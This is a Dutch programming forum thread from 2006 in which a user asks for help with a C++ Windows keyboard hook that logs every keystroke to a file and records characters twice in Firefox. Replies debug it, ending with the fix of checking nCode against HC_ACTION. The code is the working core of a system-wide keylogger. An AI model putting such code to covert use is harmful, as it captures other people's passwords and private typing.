Toon posts:

[C++] Keyboardhook

Pagina: 1
Acties:

Verwijderd

Topicstarter
Hallo,

Ik heb een keyboard-recorder in elkaar gezet die het volgens mij gewoon goed doet. Nu loop ik tegen een probleem aan. Zodra ik in Mozilla Firefox ga typen en kijk wat eruit komt worden de letters veel vaker dan 1 keer opgeslagen.

Uitvoer als ik gewoon in het wilde weg typ:
nog een test
Uitvoer als ik in Mozilla Firefox (statusbalk) typ:
nnoogg eeeenn tteesstt

Stuurt Mozilla Firefox soms alle karakters weer terug?

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) 
{
    ofstream writeFile(LOG_PATH, ofstream::out | ofstream::app);

    // Zet de bitflags.
    DWORD bitFlag = lParam;
    DWORD bitFlag1 = lParam;
    if ( !(lParam & (1 << 30)) && !(bitFlag & (1 << 24)))   
    {
        if(wParam == VK_RETURN)     
            writeFile << "\r\n[ENTER]\r\n";
        else if(wParam == VK_ESCAPE)
            writeFile << "\r\n[ESCAPE]\r\n";
        else if(wParam == VK_BACK)
            writeFile << "\r\n[BACKSPACE]\r\n";
        else 
        {
            BYTE keybState[256];
            GetKeyboardState(keybState);
            WORD wValue;
        
            if(ToAscii(wParam, 0, keybState, &wValue, 0) > 0)       // Convert to char.
                writeFile << (char)wValue;
        }
    }

    return (int)CallNextHookEx(hHook, nCode, wParam, lParam); 
}


Hoe moet ik dit oplossen?

Alvast bedankt,

Peter.

[ Voor 11% gewijzigd door Verwijderd op 09-06-2006 20:12 ]


  • Ghannes
  • Registratie: Oktober 2002
  • Laatst online: 14-02 20:09
denk dat dat een beveiliging van FF is

Verwijderd

Topicstarter
Kom er nu ook achter dat m'n hele hook verkloot is zodra Mozilla Firefox in beeld is gekomen. Krijg allemaal dubbele tekens naar de buffer gestuurd ook als ik daarna weer buiten Firefox ga werken. Hmm... dan zal het wel een beveiliging zijn. Heb even gegoogled maar ben het niet tegen gekomen dat dat ook degelijk bestaat.

  • Reptile209
  • Registratie: Juni 2001
  • Laatst online: 23:52

Reptile209

- gers -

Als ik op de MSDN kijk, lijkt er wat in je code te missen. Een snipje uit een example aldaar:
C:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
LRESULT WINAPI CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    CHAR szCWPBuf[256]; 
    CHAR szMsg[16]; 
    HDC hdc; 
    static int c = 0; 
    size_t cch;
    size_t * pcch;
    HRESULT hResult; 
 
    if (nCode < 0)  // do not process message 
        return CallNextHookEx(myhookdata[CALLWNDPROC].hhook, nCode, 
                wParam, lParam); 
...

Er wordt dus nog gechecked of nCode kleiner is dan 0, waarna de functie stopt en de volgende hook wordt aangeroepen. Via Google zie ik veel mensen kijken naar nCode > 0 en alleen dan wordt er iets met de data gedaan. Maar ik kan niet vinden wat nCode nou moet voorstellen. :|
Kijk eens of het helpt om deze check in te bouwen? (misschien is het iets à-la keypressed/-released ofzo en moet je de < 0 dus daarom negeren, of wordt <0 door het systeem gebruikt om de buffer te clearen als alle hooks klaar zijn, ofzo... ;) )

[ Voor 6% gewijzigd door Reptile209 op 09-06-2006 20:52 ]

Zo scherp als een voetbal!


  • Soultaker
  • Registratie: September 2000
  • Laatst online: 22:22
Welke aanleiding is er om te denken dat het een 'beveiliging' van Firefox is? Dat lijkt me echt onzin.

Je gaat ervan uit dat voor elke toetsaanslag je hook functie maar één keer aangeroepen wordt. Die aanname klopt niet: hij wordt elke keer aangeroepen dat een applicatie met GetMessage of PeekMessage een keyboard message ontvangt. Dit staat ook duidelijk in de
documentatie van keyboard hooks in MSDN.

Wat er dus waarschijnlijk gebeurt is dat in Firefox steeds eerst PeekMessage doet, en daarna pas GetMessage. Daardoor wordt je hook voor elk karakter twee keer aangeroepen (plus nog twee keer als de toets wordt losgelaten, waarschijnlijk). Je kunt dat ook zien door de nCode paramater te bekijken (staat ook in de documentatie) en het karakter alleen te verwerken als nCode gelijk is aan HC_ACTION.

@Reptile: het staat duidelijk bovenaan de pagina wat die nCode doet!

[ Voor 11% gewijzigd door Soultaker op 09-06-2006 21:08 ]


Verwijderd

Topicstarter
Bedankt SoulTaker. Heb het even veranderd en nu werkt het perfect. Snap nu ook waarom het zo gaat.
Pagina: 1